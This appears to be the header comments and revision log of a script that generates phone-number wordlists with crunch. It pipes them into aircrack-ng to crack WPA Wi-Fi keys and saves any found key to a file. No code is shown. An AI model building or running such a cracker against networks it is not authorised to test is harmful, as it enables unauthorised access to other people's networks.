#
# revision 4 changes:
#  -removes duplicates for numbers that don't contain the area code (prefix only)
#
# revision 3 changes:
#  -aircrack-ng passthrough for WPA cracking (saves time/space)
#    -key is outputted to aircrack.txt and script stops immediately if key is found 
#
# revision 2 changes:
#  -menu system to output certain phone number formats
#  -corrected error for cities with spaces in the name
# 
# uses CRUNCH to generate mostly valid phone numbers
# crunch can be found here: http://sourceforge.net/projects/crunch-wordlist/
